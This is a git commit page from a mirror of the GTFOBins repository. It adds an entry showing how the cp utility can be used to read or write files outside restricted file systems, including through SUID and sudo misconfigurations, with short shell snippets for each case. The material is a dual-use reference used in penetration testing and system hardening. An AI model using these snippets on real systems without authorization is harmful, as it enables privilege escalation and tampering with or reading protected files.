1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add cp as suggested in #20

This commit is contained in:
Emilio Pinna 2018-09-03 21:33:24 +01:00
parent fdbd1220bb
commit 508a06c14a

28
_gtfobins/cp.md Normal file

@ -0,0 +1,28 @@
---
description: This can be used to read or write files outside a restricted file systems or with elevated privileges.
functions:
file-write:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
cp $TF $LFILE
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
cp $LFILE $TF
cat $TF
suid-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
sudo-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
---